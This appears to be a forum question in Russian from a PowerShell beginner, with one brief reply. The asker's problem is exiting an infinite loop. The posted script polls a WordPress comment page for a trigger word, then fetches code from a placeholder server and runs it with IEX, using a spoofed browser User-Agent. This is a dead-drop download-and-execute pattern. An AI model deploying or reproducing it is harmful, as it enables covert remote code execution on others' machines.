Я совершенно новичок PowerShell, поэтому, пожалуйста, будьте снисходительны;)
Я пытаюсь написать скрипт, где машина проверяет внешний веб-сайт в ожидании слова «тест» для выполнения загрузки. Все идет так:
$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")
While($True){
$CommentResult = $WebClientObject.DownloadString($comment)
$Found = $CommentResult.contains($Word)
If($Found) {
IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
Task_to_do and some blabla commands
Return
}
Start-Sleep -Seconds 60
}
Я использую PowerShell 2.0. Windows 7
Что случилось:
- загрузка не выполняется через интернет
- это не проблема, исходящая от IP-адресов или путей
Что я сделал дальше:
- Я непосредственно пишу различные команды в командной строке powershell:
-> while ($ True) инициирует бесконечный цикл, не выходя из него.
Чтобы сделать трюк, мне нужно «дважды щелкнуть на клавиатуре и вернуться», окончание цикла и команда «downloadstring» наконец выполнены.
Все еще помни, что я больше, чем новичок, верно? :(
- я пытался "прервать", "вернуться" или "выйти", но невозможно выйти из цикла.
- Я пытался вставить много двойного возврата каретки в мой сценарий также безуспешно.
Кто-нибудь, пожалуйста, укажет мне способ сделать эту простую вещь ...? :)
Большое спасибо.
breakэто то , что должно делать то, что вы хотите. Можете ли вы включить код, который содержитbreakи не работает?